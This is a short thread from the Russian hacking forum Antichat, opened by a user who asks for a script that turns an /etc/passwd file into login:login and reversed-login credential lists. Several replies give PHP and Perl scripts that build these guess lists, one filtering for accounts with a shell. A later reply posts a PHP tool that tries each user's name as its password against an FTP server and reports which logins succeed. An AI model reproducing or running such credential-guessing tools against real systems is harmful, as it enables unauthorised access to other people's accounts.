Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
/etc/passwd (login:login) convert |

25.01.2007, 06:09
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
/etc/passwd (login:login) convert
нужен скрипт который преобразует /etc/passwd в список вида login:login b login:ingol
+7 c меня.
|
|
|

25.01.2007, 06:18
|
|
Постоянный
Регистрация: 06.12.2006
Сообщений: 762
Провел на форуме: 5352530
Репутация:
2062
|
|
PHP код:
<?php
$handle = fopen ("passwords.txt", "r");
while (!feof ($handle)) {
$buffer = fgets($handle, 4096);
$reverse=strrev($buffer);
echo "".$buffer.":".$buffer." b ".$buffer.":".$reverse." <br>";
}
fclose ($handle);
?>
пробуй, на большее я сейчас не способен
Последний раз редактировалось Thanat0z; 25.01.2007 в 06:33..
|
|
|

25.01.2007, 07:59
|
|
Banned
Регистрация: 10.10.2006
Сообщений: 596
Провел на форуме: 2132613
Репутация:
1365
|
|
Вот :
Код:
#!/usr/bin/perl
$in=$ARGV[0];
$out=$ARGV[1]; ## определим параметры скрипта
exit print "Use $0 $in $out\n" unless ($out);
open(IN, "$in");
open(OUT, ">out");
while(<IN>){
chomp;
if (~/sh$/){ ## запишем только валидные аккаунты
($u,@udef)=split ":";
print OUT "$u:$u\n"; ## В виде пары login:login
}
}
close(IN);
close(OUT);
|
|
|

25.01.2007, 18:07
|
|
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме: 3493315
Репутация:
1228
|
|
PHP код:
<?php
$fo=fopen ("users.txt", "r");
$fr=fopen ("resalt.txt", "w");
while (!feof($fo))
{
$c=rtrim(fgets($fo));
$rez=split(':',$c);
$rez[1]=strrev($rez[1]);
fwrite($fr,$rez[0].':'.$rez[1]."\n");
}
fclose ($fo);
fclose ($fr);
?>
|
|
|

25.01.2007, 18:27
|
|
Познающий
Регистрация: 01.11.2006
Сообщений: 49
Провел на форуме: 284130
Репутация:
48
|
|
Код:
#!/usr/bin/perl
open(IN,"pwd.txt");
open(OUT,">pwds");
while(<IN>){
chomp;
if($_ ne ''){
($u,@undef)=split ':';
print OUT "$u:$u\n";
}
}
close(IN);
close(OUT);
Последний раз редактировалось zombiexe; 25.01.2007 в 18:29..
|
|
|

26.01.2007, 00:19
|
|
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме: 5301021
Репутация:
1879
|
|
Вот чего-то нашёл...
PHP код:
<?php $filename="passwd"; // passwd file $ftp_server="localhost"; // FTP-server
echo "FTP-server: <b>$ftp_server</b> <br><br>";
$fp = fopen ($filename, "r"); if ($fp) { while (!feof ($fp)) { $buf = fgets($fp, 100); ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g); $ftp_user_name=$g[1]; $ftp_user_pass=$g[1]; $conn_id=ftp_connect($ftp_server); $login_result=@ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if (($conn_id) && ($login_result)) { echo "<b>Connected with login:password - ".$ftp_user_name.":".$ftp_user_name."</b><br>"; ftp_close($conn_id);} else { echo $ftp_user_name." - error<br>"; } }}
?>
|
|
|

26.01.2007, 00:22
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
Че теперь каждый выпендрится чтоли своим кодом? =)
|
|
|

26.01.2007, 00:31
|
|
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме: 3493315
Репутация:
1228
|
|
закрыто.
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|